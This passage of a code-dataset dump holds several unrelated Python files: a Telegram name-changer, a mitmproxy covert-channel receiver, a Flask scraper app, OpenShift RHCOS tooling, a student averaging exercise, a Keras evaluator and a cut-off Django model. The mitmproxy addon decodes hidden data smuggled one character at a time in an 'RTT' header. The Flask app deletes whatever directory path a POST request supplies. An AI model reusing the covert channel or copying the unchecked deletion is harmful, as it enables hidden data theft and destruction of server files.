client_ready(self, client, db):\r\n self.client = client\r\n self.db = db\r\n\r\n async def anamecmd(self, message):\r\n \"\"\".aname шо хочешь пиши\"\"\"\r\n args = utils.get_args_raw(message)\r\n emojis = ['👉', '👈']\r\n\r\n if not self.db.get(\"NameEmoji\", \"status\", False):\r\n self.db.set(\"NameEmoji\", \"status\", True)\r\n await message.edit(\"Активировано\")\r\n while self.db.get(\"NameEmoji\", \"status\", True):\r\n await self.client(functions.account.UpdateProfileRequest(first_name=f'{args} {emojis[0]}{emojis[1]}‍‌‌‌‌‍‌‌‌‌‌‌‌‍‍‍‍‍‍‍‍‍‍‍', last_name=''))\r\n await sleep(10)\r\n await self.client(functions.account.UpdateProfileRequest(first_name=f'{args} {emojis[0]} {emojis[1]}‍‌‌‌‌‍‌‌‌‌‌‌‌‍‍‍‍‍‍‍‍‍‍‍', last_name=''))\r\n await sleep(10)\r\n\r\n\r\n\r\n else:\r\n self.db.set(\"NameEmoji\", \"status\", False)\r\n await message.edit(\"Деактивировано\")\r\n await self.client(functions.account.UpdateProfileRequest(first_name=f'{args}‍‌‌‌‌‍‌‌‌‌‌‌‌‍‍‍‍‍‍‍‍‍‍‍', last_name=''))\r\n\r\n","repo_name":"hahah-eto-ya-maga/FTG-Modules","sub_path":"dont touch.py","file_name":"dont touch.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"11095124778","text":"#! python\n\n#from block import Block\nfrom mitmproxy.options import Options\nfrom mitmproxy.tools.dump import DumpMaster\nfrom mitmproxy import http\nfrom mitmproxy.addons import block\n\nclass GetInjection(object):\n \"\"\"MiTMProxy addon that injects a message into the header of a response packet.\"\"\"\n def __init__(self,p: DumpMaster):\n self.proxy = p\n self.m = \"\"\n # need to add timeout if flow not received in specified amount of time\n def request(self,flow: http.HTTPFlow) -> None:\n\n # get secret value\n if(int(flow.request.headers[\"RTT\"]) == 999):\n with open('output.txt','w',encoding='utf-8-sig') as f:\n for i in self.m:\n f.write(i)\n\n print(\"[*] Complete Message Received\")\n self.proxy.shutdown()\n else:\n self.m+=chr(int(flow.request.headers[\"RTT\"]))\n print(\"[!] Received Message\")\n flow.kill()\n\n\ndef config_proxy():\n \"\"\"Configures mitmproxy on specific port and address.\"\"\"\n opts = Options(listen_host=\"138.47.142.77\",listen_port=8080) \n server = DumpMaster(opts)\n return server\n\nif __name__ == \"\"\"__main__\"\"\":\n # configurations\n prox = config_proxy()\n prox.addons.add(GetInjection(prox),block)\n\n # start proxying!\n prox.run()\n\n\n","repo_name":"jackfoil/Dynamically-Generated-Covert-Channel","sub_path":"PiggybackActiveFinal/PassiveServer.py","file_name":"PassiveServer.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"21401289573","text":"from flask import Flask,render_template,url_for,redirect,request\nimport os\nimport shutil\n\napp = Flask(__name__)\npath = \"static\"+os.sep+\"xxoo\"\n\n@app.route('/del')\ndef delfile():\n import delf\n delf.search(path)\n return \"删除空文件夹和无效文件完成\"\n\n@app.route('/pa')\ndef pa():\n import xxoo\n xxoo.main()\n return \"爬取中\"\n\n\n@app.route('/pa2/')\ndef pa2(p):\n import xxoo2\n xxoo2.main(p)\n return \"爬取中\"\n\n\n@app.route('/')\ndef imglist():\n return redirect(url_for(\"page\",p=0))\n@app.route('/page/')\ndef page(p):\n filelist = []\n for dirpath, dirnames, filenames in os.walk(path):\n file=[]\n file.append(dirpath)\n file.append(filenames)\n filelist.append(file)\n s= len(filelist)-1\n return render_template(\"page.html\" ,filelist=filelist[p],page=p,s=s)\n\n@app.route('/delfiles',methods=[\"POST\"])\ndef delfiles():\n if request.method == \"POST\":\n file= request.form.get(\"f\")\n page = request.form.get(\"page\")\n print(file)\n if file==\"static\\\\xxoo\":\n print(\"不能删除此目录\")\n else:\n shutil.rmtree(file) # 递归删除文件夹\n # redirect:重定向,需要传入一个网址或路由地址\n # url_for:传入视图函数,返回该视图函数对应的路由地址\n return redirect(url_for(\"page\",p=page))\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=6000)\n","repo_name":"xiao-si-qi/CaoLiu","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19066027871","text":"\nimport asyncio\nimport json\nfrom typing import Dict, List, Optional, Tuple\nfrom urllib import request\nfrom urllib.error import URLError\n\nimport koji\nfrom tenacity import retry, stop_after_attempt, wait_fixed\n\nfrom doozerlib import brew, exectools, logutil\nfrom doozerlib.model import ListModel, Model\nfrom doozerlib.repodata import OutdatedRPMFinder, Repodata\nfrom doozerlib.runtime import Runtime\nfrom doozerlib.util import brew_suffix_for_arch, isolate_el_version_in_release\n\nRHCOS_BASE_URL = \"https://releases-rhcos-art.apps.ocp-virt.prod.psi.redhat.com/storage/releases\"\n# Historically the only RHCOS container was 'machine-os-content'; see\n# https://github.com/openshift/machine-config-operator/blob/master/docs/OSUpgrades.md\n# But in the future this will change, see\n# https://github.com/coreos/enhancements/blob/main/os/coreos-layering.md\ndefault_primary_container = dict(\n name=\"machine-os-content\",\n build_metadata_key=\"oscontainer\",\n primary=True)\n\nlogger = logutil.getLogger(__name__)\n\n\nclass RhcosMissingContainerException(Exception):\n \"\"\"\n Thrown when group.yml configuration expects an RHCOS container but it is\n not available as specified in the RHCOS metadata.\n \"\"\"\n pass\n\n\ndef get_container_configs(runtime):\n \"\"\"\n look up the group.yml configuration for RHCOS container(s) for this group, or create if missing.\n @return ListModel with Model entries like ^^ default_primary_container\n \"\"\"\n return runtime.group_config.rhcos.payload_tags or ListModel([default_primary_container])\n\n\ndef get_container_names(runtime):\n \"\"\"\n look up the payload tags of the group.yml-configured RHCOS container(s) for this group\n @return list of container names\n \"\"\"\n return {tag.name for tag in get_container_configs(runtime)}\n\n\ndef get_primary_container_conf(runtime):\n \"\"\"\n look up the group.yml-configured primary RHCOS container for this group.\n @return Model with entries for name and build_metadata_key\n \"\"\"\n for tag in get_container_configs(runtime):\n if tag.primary:\n return tag\n raise Exception(\"Need to provide a group.yml rhcos.payload_tags entry with primary=true\")\n\n\ndef get_primary_container_name(runtime):\n \"\"\"\n convenience method to retrieve configured primary RHCOS container name\n @return primary container name (used in payload tag)\n \"\"\"\n return get_primary_container_conf(runtime).name\n\n\ndef get_container_pullspec(build_meta: dict, container_conf: Model) -> str:\n \"\"\"\n determine the container pullspec from the RHCOS build meta and config\n @return full container pullspec string (registry/repo@sha256:...)\n \"\"\"\n key = container_conf.build_metadata_key\n if key not in build_meta:\n raise RhcosMissingContainerException(f\"RHCOS build {build_meta['buildid']} has no '{key}' attribute in its metadata\")\n\n container = build_meta[key]\n\n if 'digest' in container:\n # \"oscontainer\": {\n # \"digest\": \"sha256:04b54950ce2...\",\n # \"image\": \"quay.io/openshift-release-dev/ocp-v4.0-art-dev\"\n # },\n return container['image'] + \"@\" + container['digest']\n\n # \"base-oscontainer\": {\n # \"image\": \"registry.ci.openshift.org/rhcos/rhel-coreos@sha256:b8e1064cae637f...\"\n # },\n return container['image']\n\n\nclass RHCOSNotFound(Exception):\n pass\n\n\nclass RHCOSBuildFinder:\n\n def __init__(self, runtime, version: str, brew_arch: str = \"x86_64\", private: bool = False, custom: bool = False):\n \"\"\"\n @param runtime The Runtime object passed in from the CLI\n @param version The 4.y ocp version as a string (e.g. \"4.6\")\n @param brew_arch architecture we are interested in (e.g. \"s390x\")\n @param private boolean, true for private stream, false for public (currently, no effect)\n @param custom If the caller knows this build is custom, the library will only search in the -custom buckets. When the RHCOS pipeline runs a custom build, artifacts\n should be stored in a different area; e.g. https://releases-rhcos-art.apps.ocp-virt.prod.psi.redhat.com/storage/releases/rhcos-4.8-custom/48.84.....-0/x86_64/commitmeta.json\n This is done by ART's RHCOS pipeline code when a custom build is indicated: https://gitlab.cee.redhat.com/openshift-art/rhcos-upshift/-/blob/fdad7917ebdd9c8b47d952010e56e511394ed348/Jenkinsfile#L30\n \"\"\"\n self.runtime = runtime\n self.version = version\n self.brew_arch = brew_arch\n self.private = private\n self.custom = custom\n self._primary_container = None\n\n def get_primary_container_conf(self):\n \"\"\"\n look up the group.yml-configured primary RHCOS container on demand and retain it.\n @return Model with entries for name and build_metadata_key\n \"\"\"\n if not self._primary_container:\n self._primary_container = get_primary_container_conf(self.runtime)\n return self._primary_container\n\n def rhcos_release_url(self) -> str:\n \"\"\"\n base url for a release stream in the release browser (AWS bucket).\n @return e.g. \"https://releases-rhcos-art...com/storage/releases/rhcos-4.6-s390x\"\n \"\"\"\n # TODO: create private rhcos builds and do something with \"private\" here\n bucket = self.brew_arch\n if self.custom:\n bucket += '-custom'\n\n multi_url = self.runtime.group_config.urls.rhcos_release_base[\"multi\"]\n bucket_url = self.runtime.group_config.urls.rhcos_release_base[bucket]\n if multi_url:\n if bucket_url:\n raise ValueError(f\"Multiple rhcos_release_base urls found in group config: `multi` and `{bucket}`\")\n return multi_url\n if bucket_url:\n return bucket_url\n\n bucket_suffix = brew_suffix_for_arch(self.brew_arch)\n if self.custom:\n bucket_suffix += '-custom'\n\n return f\"{RHCOS_BASE_URL}/rhcos-{self.version}{bucket_suffix}\"\n\n @retry(reraise=True, stop=stop_after_attempt(10), wait=wait_fixed(3))\n def latest_rhcos_build_id(self) -> Optional[str]:\n \"\"\"\n :return: Returns the build id for the latest RHCOS build for the specific CPU arch. Return None if not found.\n \"\"\"\n # this is hard to test with retries, so wrap testable method\n return self._latest_rhcos_build_id()\n\n def _latest_rhcos_build_id(self) -> Optional[str]:\n # returns the build id string or None (raises RHCOSNotFound for failure to retrieve)\n # (may want to return \"schema-version\" also if this ever gets more complex)\n url = f\"{self.rhcos_release_url()}/builds.json\"\n try:\n with request.urlopen(url) as req:\n data = json.loads(req.read().decode())\n except URLError as ex:\n raise RHCOSNotFound(f\"Loading RHCOS build at {url} failed: {ex}\")\n\n if not data[\"builds\"]:\n return None\n\n multi_url = self.runtime.group_config.urls.rhcos_release_base[\"multi\"]\n arches_building = []\n if multi_url:\n arches_building = self.runtime.group_config.arches\n for b in data[\"builds\"]:\n # Make sure all rhcos arch builds are complete\n if multi_url and not self.is_multi_build_complete(b, arches_building):\n continue\n return b[\"id\"]\n\n def is_multi_build_complete(self, build_dict, arches_building):\n if len(build_dict[\"arches\"]) != len(arches_building):\n missing_arches = set(arches_building) - set(build_dict[\"arches\"])\n logger.info(f\"Skipping {build_dict['id']} - missing these arch builds - {missing_arches}\")\n return False\n for arch in arches_building:\n if not self.meta_has_required_attributes(self.rhcos_build_meta(build_dict[\"id\"], arch=arch)):\n logger.warning(f\"Skipping {build_dict['id']} - {arch} meta.json isn't complete - forget to run \"\n \"rhcos release job?\")\n return False\n return True\n\n def meta_has_required_attributes(self, meta):\n required_keys = [payload_tag.build_metadata_key for payload_tag in self.runtime.group_config.rhcos.payload_tags]\n for metadata_key in required_keys:\n if metadata_key not in meta:\n return False\n return True\n\n @retry(reraise=True, stop=stop_after_attempt(10), wait=wait_fixed(3))\n def rhcos_build_meta(self, build_id: str, arch: str = None, meta_type: str = \"meta\") -> Dict:\n \"\"\"\n Queries the RHCOS release browser to return metadata about the specified RHCOS build.\n :param build_id: The RHCOS build_id to check (e.g. 410.81.20200520.0)\n :param arch: The arch to check - overrides the default self.brew_arch (e.g. ppc64le)\n :param meta_type: The data to retrieve. \"commitmeta\" (aka OS Metadata - ostree content) or \"meta\" (aka Build Metadata / Build record).\n :return: Returns a Dict containing the parsed requested metadata. See the RHCOS release browser for examples: https://releases-rhcos-art.apps.ocp-virt.prod.psi.redhat.com/\n\n Example 'meta.json':\n https://releases-rhcos-art.apps.ocp-virt.prod.psi.redhat.com/storage/prod/streams/4.14-9.2/builds/414.92.202305050010-0/x86_64/meta.json\n {\n \"buildid\": \"410.81.20200520.0\",\n ...\n \"oscontainer\": {\n \"digest\": \"sha256:b0997c9fe4363c8a0ed3b52882b509ade711f7cdb620cc7a71767a859172f423\"\n \"image\": \"quay.io/openshift-release-dev/ocp-v4.0-art-dev\"\n },\n ...\n }\n \"\"\"\n # this is hard to test with retries, so wrap testable method\n return self._rhcos_build_meta(build_id, arch, meta_type)\n\n def _rhcos_build_meta(self, build_id: str, arch: str = None, meta_type: str = \"meta\") -> Dict:\n \"\"\"\n See public API rhcos_build_meta for details.\n \"\"\"\n if not arch:\n arch = self.brew_arch\n url = f\"{self.rhcos_release_url()}/{build_id}/{arch}/{meta_type}.json\"\n with request.urlopen(url) as req:\n return json.loads(req.read().decode())\n\n def latest_container(self, container_conf: dict = None) -> Tuple[Optional[str], Optional[str]]:\n \"\"\"\n :param container_conf: a payload tag conf Model from group.yml (with build_metadata_key)\n :return: Returns (rhcos build id, image pullspec) or (None, None) if not found.\n \"\"\"\n build_id = self.latest_rhcos_build_id()\n if build_id is None:\n return None, None\n return build_id, get_container_pullspec(\n self.rhcos_build_meta(build_id),\n container_conf or self.get_primary_container_conf()\n )\n\n\nclass RHCOSBuildInspector:\n\n def __init__(self, runtime: Runtime, pullspec_for_tag: Dict[str, str], brew_arch: str, build_id: Optional[str] = None):\n self.runtime = runtime\n self.brew_arch = brew_arch\n self.pullspec_for_tag = pullspec_for_tag\n self.build_id = build_id\n\n # Remember the pullspec(s) provided in case it does not match what is in the releases.yaml.\n # Because of an incident where we needed to repush RHCOS and get a new SHA for 4.10 GA,\n # trust the exact pullspec in releases.yml instead of what we find in the RHCOS release\n # browser.\n for tag, pullspec in pullspec_for_tag.items():\n try:\n image_info_str, _ = exectools.cmd_assert(f'oc image info -o json {pullspec}', retries=3)\n except ChildProcessError as e:\n raise Exception(f'Error fetching RHCOS build {build_id}: {e}')\n\n image_info = Model(json.loads(image_info_str))\n image_build_id = image_info.config.config.Labels.version\n if not image_build_id:\n raise Exception(f'Unable to determine RHCOS build_id from tag {tag} pullspec {pullspec}. Retrieved image info: {image_info_str}')\n if self.build_id and self.build_id != image_build_id:\n raise Exception(f'Found divergent RHCOS build_id for {pullspec_for_tag}. {image_build_id} versus'\n f' {self.build_id}')\n self.build_id = image_build_id\n\n # The first digits of the RHCOS build are the major.minor of the rhcos stream name.\n # Which, near branch cut, might not match the actual release stream.\n # Sadly we don't have any other labels or anything to look at to determine the stream.\n version = self.build_id.split('.')[0]\n self.stream_version = version[0] + '.' + version[1:] # e.g. 43.82.202102081639.0 -> \"4.3\"\n\n try:\n finder = RHCOSBuildFinder(runtime, self.stream_version, self.brew_arch)\n self._build_meta = finder.rhcos_build_meta(self.build_id, meta_type='meta')\n self._os_commitmeta = finder.rhcos_build_meta(self.build_id, meta_type='commitmeta')\n except Exception:\n # Fall back to trying to find a custom build\n finder = RHCOSBuildFinder(runtime, self.stream_version, self.brew_arch, custom=True)\n self._build_meta = finder.rhcos_build_meta(self.build_id, meta_type='meta')\n self._os_commitmeta = finder.rhcos_build_meta(self.build_id, meta_type='commitmeta')\n\n def __repr__(self):\n return f'RHCOSBuild:{self.brew_arch}:{self.build_id}'\n\n def get_os_metadata(self) -> Dict:\n \"\"\"\n :return: Returns a dict representing the RHCOS build's OS metadata (aka commitmeta.json)\n \"\"\"\n return self._os_commitmeta\n\n def get_build_metadata(self) -> Dict:\n \"\"\"\n :return: Returns a dict representing the RHCOS build's metadata (aka meta.json)\n \"\"\"\n return self._build_meta\n\n def get_os_metadata_rpm_list(self) -> List[List]:\n \"\"\"\n :return: Returns the raw RPM entries from the OS metadata. Example entry: ['NetworkManager', '1', '1.14.0', '14.el8', 'x86_64' ]\n Also include entries from the build meta.json extensions manifest. We don't have epoch for\n these so we just use 0 which may not be correct. So far nothing looks at epoch so it's not a problem.\n \"\"\"\n entries = self.get_os_metadata()['rpmostree.rpmdb.pkglist']\n if not entries:\n raise Exception(f\"no pkglist in OS Metadata for build {self.build_id}\")\n\n # items like kernel-rt that are only present in extensions are not listed in the os\n # metadata, so we need to add them in separately.\n try:\n extensions = self.get_build_metadata()['extensions']['manifest']\n except KeyError:\n extensions = dict() # no extensions before 4.8; ignore missing\n for name, vra in extensions.items():\n # e.g. \"kernel-rt-core\": \"4.18.0-372.32.1.rt7.189.el8_6.x86_64\"\n # or \"qemu-img\": \"15:6.2.0-11.module+el8.6.0+16538+01ea313d.6.x86_64\"\n version, ra = vra.rsplit('-', 1)\n # if epoch is not specified, just use 0. for some reason it's included in the version in\n # RHCOS metadata as \"epoch:version\"; but if we query brew for it that way, it does not\n # like the format, so we separate it out from the version.\n epoch, version = version.split(':', 1) if ':' in version else ('0', version)\n release, arch = ra.rsplit('.', 1)\n entries.append([name, epoch, version, release, arch])\n\n return entries\n\n def get_rpm_nvrs(self) -> List[str]:\n \"\"\"\n :return: Returns a list of RPM nvrs that are installed in this build according to OS metadata.\n Note that these are RPMs and not package brew builds. You cannot use koji.getBuild on\n these NVRs.\n \"\"\"\n rpm_nvrs: List[str] = list()\n for rpm_entry in self.get_os_metadata_rpm_list():\n # Example entry ['NetworkManager', '1', '1.14.0', '14.el8', 'x86_64' ]\n # rpm_entry[1] is epoch.\n rpm_nvrs.append(f'{rpm_entry[0]}-{rpm_entry[2]}-{rpm_entry[3]}')\n\n return rpm_nvrs\n\n def get_rpm_nvras(self) -> List[str]:\n \"\"\"\n :return: Returns a list of nvras that are installed in this build according to OS metadata.\n Note that these are RPMs and not package brew builds. You cannot use koji.getBuild on\n these NVRAs.\n \"\"\"\n rpm_nvras: List[str] = list()\n for rpm_entry in self.get_os_metadata_rpm_list():\n # Example entry ['NetworkManager', '1', '1.14.0', '14.el8', 'x86_64' ]\n # rpm_entry[1] is epoch.\n rpm_nvras.append(f'{rpm_entry[0]}-{rpm_entry[2]}-{rpm_entry[3]}.{rpm_entry[4]}')\n\n return rpm_nvras\n\n def get_package_build_objects(self) -> Dict[str, Dict]:\n \"\"\"\n :return: Returns a Dict containing records for package builds corresponding to\n RPMs used by this RHCOS build.\n Maps package_name -> brew build dict for package.\n \"\"\"\n\n aggregate: Dict[str, Dict] = dict()\n rpms = self.get_rpm_nvras()\n with self.runtime.pooled_koji_client_session() as koji_api:\n self.runtime.logger.info(\"Getting %s rpm(s) from Brew...\", len(rpms))\n tasks = []\n with koji_api.multicall(strict=False) as m: # strict=False means don't raise the first error it encounters\n for nvra in rpms:\n tasks.append(m.getRPM(nvra, brew.KojiWrapperOpts(caching=True), strict=True))\n rpm_defs = []\n for task in tasks:\n try:\n rpm_defs.append(task.result)\n except koji.GenericError as e:\n nvra = task.args[0]\n if self.runtime.group_config.rhcos.allow_missing_brew_rpms and \"No such rpm\" in str(e):\n self.runtime.logger.warning(\"Failed to find RPM %s in Brew\", nvra, exc_info=True)\n continue # if conigured, just skip RPMs brew doesn't know about\n raise Exception(f\"Failed to find RPM {nvra} in brew: {e}\")\n\n self.runtime.logger.info(\"Getting build infos for %s rpm(s)...\", len(rpm_defs))\n tasks = []\n with koji_api.multicall(strict=True) as m:\n for rpm_def in rpm_defs:\n tasks.append(m.getBuild(rpm_def['build_id'], brew.KojiWrapperOpts(caching=True), strict=True))\n for task in tasks:\n package_build = task.result\n package_name = package_build['package_name']\n aggregate[package_name] = package_build\n return aggregate\n\n def get_primary_container_conf(self):\n \"\"\"\n look up the group.yml-configured primary RHCOS container.\n @return Model with entries for name and build_metadata_key\n \"\"\"\n return get_primary_container_conf(self.runtime)\n\n def get_container_configs(self):\n \"\"\"\n look up the group.yml-configured RHCOS containers and return their configs as a list\n @return list(Model) with entries for name and 15:97build_metadata_key\n \"\"\"\n return get_container_configs(self.runtime)\n\n def get_container_pullspec(self, container_config: Model = None) -> str:\n \"\"\"\n Determine the pullspec corresponding to the container config given (the\n primary by default), either as specified at instantiation or from the\n build metadata.\n\n @param container_config: Model with fields \"name\" and \"build_metadata_key\"\n :return: pullspec for the requested container image\n \"\"\"\n container_config = container_config or self.get_primary_container_conf()\n if container_config.name in self.pullspec_for_tag:\n # per note above... when given a pullspec, prefer that to the build record\n return self.pullspec_for_tag[container_config.name]\n return get_container_pullspec(self.get_build_metadata(), container_config)\n\n def get_container_digest(self, container_config: Model = None) -> str:\n \"\"\"\n Extract the image digest for (by default) the primary container image\n associated with this build, historically the sha of the\n machine-os-content image published out on quay.\n\n @param container_config: Model with fields \"name\" and \"build_metadata_key\"\n :return: shasum from the pullspec for the requested container image\n \"\"\"\n return self.get_container_pullspec(container_config).split(\"@\")[1]\n\n def get_rhel_base_version(self) -> int:\n \"\"\"\n Determines whether this RHCOS is based on RHEL 8, 9, ...\n \"\"\"\n # OS metadata has changed a bit over time (i.e. there may be newer/cleaner ways\n # to determine this), but one thing that seems backwards compatible\n # is finding 'el' information in RPM list.\n for nvr in self.get_rpm_nvrs():\n el_ver = isolate_el_version_in_release(nvr)\n if el_ver:\n return el_ver\n\n raise IOError(f'Unable to determine RHEL version base for rhcos {self.build_id}')\n\n async def find_non_latest_rpms(self) -> List[Tuple[str, str, str]]:\n \"\"\"\n If the packages installed in this image overlap packages in the build repo,\n return NVRs of the latest candidate builds that are not also installed in this image.\n This indicates that the image has not picked up the latest from build repo.\n\n Note that this is completely normal for non-STREAM assemblies. In fact, it is\n normal for any assembly other than the assembly used for nightlies.\n\n Unfortunately, rhcos builds are not performed in sync with all other builds.\n Thus, it is natural for them to lag behind when RPMs change. The should catch\n up with the next RHCOS build.\n\n :return: Returns a list of (installed_rpm, latest_rpm, repo_name)\n \"\"\"\n # Get enabled repos for the image\n enabled_repos = self.runtime.group_config.rhcos.enabled_repos\n if not enabled_repos:\n raise ValueError(\"RHCOS build repos need to be defined in group config rhcos.enabled_repos.\")\n enabled_repos = enabled_repos.primitive()\n group_repos = self.runtime.repos\n arch = self.brew_arch\n logger.info(\"Fetching repodatas for enabled repos %s\", \", \".join(f\"{repo_name}-{arch}\" for repo_name in enabled_repos))\n repodatas: List[Repodata] = await asyncio.gather(*[group_repos[repo_name].get_repodata_threadsafe(arch) for repo_name in enabled_repos])\n\n # Get all installed rpms\n rpms_to_check = [\n {\n \"name\": name,\n \"epoch\": epoch,\n \"version\": version,\n \"release\": release,\n \"arch\": arch,\n \"nvr\": f\"{name}-{version}-{release}\"\n } for name, epoch, version, release, arch in self.get_os_metadata_rpm_list()\n ]\n\n logger.info(\"Determining outdated rpms...\")\n results = OutdatedRPMFinder().find_non_latest_rpms(rpms_to_check, repodatas, logger=logger)\n return results\n","repo_name":"openshift-eng/doozer","sub_path":"doozerlib/rhcos.py","file_name":"rhcos.py","file_ext":"py","file_size_in_byte":23114,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"76"} +{"seq_id":"19965324463","text":"#### 1. UZDEVUMS ######################\ni=0\navg=0\ntotal=0\nnum_list = []\nwhile True:\n num=input(\"Ievadiet skaitli vai 'q', lai izietu:\")\n if num == 'q':\n break\n float_num = float(num)\n i+= 1\n avg = (total + float_num) / i\n total += float_num\n print(f\"Vidējais: {avg}\")\n num_list.append(float_num)\n sort_list = sorted(num_list, reverse=True)\n print(f\"Ievadītie skaitļi: Top3 {sort_list[:3]}, Bottom3 {sort_list[-3:]}\")\n\n# digits = []\n# digits = input(\"enter multiple digits, separate by space: or q to exit \")\n# if digits.lower().startswith(\"q\"):\n# exit()\n# float_digits = [float(item) for item in digits.split()] # list comprehension\n \n# count = len(float_digits)\n# total = sum(float_digits)\n# print(f\"Average is {total/count} and entered digits are {digits}\")\n \n# sorted_1 = sorted(float_digits)\n# print(f\"TOP3 = {sorted(sorted_1[-3:],reverse=True)} and BOOTOM3 = {sorted_1[:3]} and average is {total/count}\")\n\n# # sk = 0\n# # beigt = False\n# # summa = 0\n# # while not beigt:\n# # skaitlis = input(\"Ievadiet skaitli (ievadiet q, lai beigtu): \")\n# # if skaitlis.lower().startswith(\"q\"):\n# # break\n# # skaitlis = float(skaitlis)\n# # summa += skaitlis\n# # sk += 1\n# # print(f\"Ievadīto skaitļu vidējā vērtība ir {summa / sk}\")\n\n# all_numbers=[]\n# while True:\n# numbers=input(\"Ievadiet skaitli vai 'q', lai pabeigt - \")\n# if numbers==\"q\":\n# break\n# else:\n# all_numbers.append(float(numbers))\n# n=len(all_numbers)\n# summa=sum(all_numbers)\n# continue\n# print(f\"Saraksts: {all_numbers}, kopēja summa: {summa}, vidēja vērtība: {summa/n}\")\n# all_asc=sorted(all_numbers)\n# all_desc=sorted(all_numbers)\n# print(f\"TOP 3:{all_desc[-3:]} un vidēja vērtība:{round(sum(all_desc[-3:])/3)} & BOTTOM 3:{all_asc[:3]} un vidēja vērtība: {round(sum(all_asc[:3])/3, 2)}\")","repo_name":"ValRCS/Python_RTU_08_20","sub_path":"Diena_6_lists/uzd1_1_g1.py","file_name":"uzd1_1_g1.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"76"} +{"seq_id":"26662036494","text":"import math\nimport json\nimport os\nimport sys\n\nimport keras\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.preprocessing import image\nfrom keras import backend as K\nimport numpy as np\nfrom keras import applications\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils import np_utils\nimport dataset\nimport argparse\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import roc_curve, auc\n\nimport time\nfrom datetime import timedelta\n\nfrom keras.models import load_model\n\n\ndef build_dataset(data_directory, img_width):\n X, y, tags = dataset.dataset(data_directory, int(img_width))\n nb_classes = len(tags)\n\n sample_count = len(y)\n train_size = sample_count\n print(\"train size : {}\".format(train_size))\n feature = X\n label = np_utils.to_categorical(y, nb_classes)\n return feature, label, nb_classes\n\n\ndef main():\n start_time = time.monotonic()\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('-i', '--input',\n help='an input directory of dataset', required=True)\n parser.add_argument('-d', '--dimension',\n help='a image dimension', type=int, default=48)\n parser.add_argument('-c', '--channel',\n help='a image channel', type=int, default=3)\n parser.add_argument('-md', '--model_name',\n help='a model name', type=str, required=True)\n parser.add_argument('-o', '--output',\n help='a result file', type=str, default=\"output.txt\")\n args = parser.parse_args()\n # dimensions of our images.\n data_directory = args.input\n\n # print (\"loading dataset\")\n # X_train, Y_train, nb_classes= build_dataset(\"{}/training\".format(data_directory), args.dimension)\n X_test, Y_test, nb_classes = build_dataset(\n \"{}\".format(data_directory), args.dimension)\n\n # load pre-trained model\n model = load_model(args.model_name)\n\n predicted = model.predict(X_test)\n print(predicted)\n y_pred = np.argmax(predicted, axis=1)\n print(y_pred)\n Y_test = np.argmax(Y_test, axis=1)\n cm = confusion_matrix(Y_test, y_pred)\n report = classification_report(Y_test, y_pred)\n tn = cm[0][0]\n fn = cm[1][0]\n tp = cm[1][1]\n fp = cm[0][1]\n if tp == 0:\n tp = 1\n if tn == 0:\n tn = 1\n if fp == 0:\n fp = 1\n if fn == 0:\n fn = 1\n TPR = float(tp)/(float(tp)+float(fn))\n FPR = float(fp)/(float(fp)+float(tn))\n accuracy = round((float(tp) + float(tn))/(float(tp) +\n float(fp) + float(fn) + float(tn)), 3)\n specitivity = round(float(tn)/(float(tn) + float(fp)), 3)\n sensitivity = round(float(tp)/(float(tp) + float(fn)), 3)\n mcc = round((float(tp)*float(tn) - float(fp)*float(fn))/math.sqrt(\n (float(tp)+float(fp))\n * (float(tp)+float(fn))\n * (float(tn)+float(fp))\n * (float(tn)+float(fn))\n ), 3)\n fpr_keras, tpr_keras, threshold_keras = roc_curve(Y_test, y_pred)\n auc_keras = auc(fpr_keras, tpr_keras)\n\n f_output = open(args.output, 'a')\n f_output.write('=======\\n')\n f_output.write('{}\\n'.format(args.model_name))\n f_output.write('TN: {}\\n'.format(tn))\n f_output.write('FN: {}\\n'.format(fn))\n f_output.write('TP: {}\\n'.format(tp))\n f_output.write('FP: {}\\n'.format(fp))\n f_output.write('TPR: {}\\n'.format(TPR))\n f_output.write('FPR: {}\\n'.format(FPR))\n f_output.write('accuracy: {}\\n'.format(accuracy))\n f_output.write('specitivity: {}\\n'.format(specitivity))\n f_output.write(\"sensitivity : {}\\n\".format(sensitivity))\n f_output.write(\"mcc : {}\\n\".format(mcc))\n f_output.write(\"AUC : {}\\n\".format(auc_keras))\n f_output.write(\"{}\".format(report))\n f_output.write('=======\\n')\n f_output.close()\n end_time = time.monotonic()\n print(\"Duration : {}\".format(timedelta(seconds=end_time - start_time)))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jason887/Using-Deep-Learning-Neural-Networks-and-Candlestick-Chart-Representation-to-Predict-Stock-Market","sub_path":"model_evaluate.py","file_name":"model_evaluate.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"76"} +{"seq_id":"5439553113","text":"from django.db import models\nfrom django.utils import timezone\nfrom customers import models as customer_models\nfrom employees.models import Employee\nfrom inventory import models as inventory_models\n\n\nclass Object(models.Model):\n customer_id = models.ForeignKey(customer_models.Customer, on_delete=models.CASCADE)\n name = models.CharField(max_length=100)\n address = models.CharField(max_length=200)\n area = models.FloatField()\n object_image = models.ImageField(upload_to='images/objects/', blank=True, null=True)\n object_image_url = models.URLField(blank=True, null=True)\n additional_information = models.TextField(blank=True, null=True)\n required_worker_amount = models.IntegerField()\n assigned_supervisor_id = models.ForeignKey(Employee, on_delete=models.SET_NULL, blank=True, null=True)\n\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n deleted = models.BooleanField(default=False)\n deleted_date = models.DateTimeField(blank=True, null=True)\n\n\n def delete(self, using=None, keep_parents=True):\n 